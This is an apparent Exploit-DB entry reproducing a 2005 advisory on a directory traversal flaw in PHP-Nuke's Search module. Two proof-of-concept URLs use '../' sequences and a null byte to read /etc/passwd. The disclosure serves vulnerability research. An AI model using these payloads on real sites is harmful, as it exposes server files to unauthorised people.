PHP-Nuke Search Module - 'modules.php' Directory Traversal

EDB-ID:

26377

CVE:

N/A




Platform:

PHP

Date:

2005-10-19


source: https://www.securityfocus.com/bid/15137/info

PHPNuke Search Module is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

A remote attacker may view files that are only intended to be accessible to authenticated and authorized users. Information obtained may be used in further attacks. 

http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../../../../../../../../../etc/passwd%00

http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../Forums/viewtopic&phpEx=../../../.
./../../etc/passwd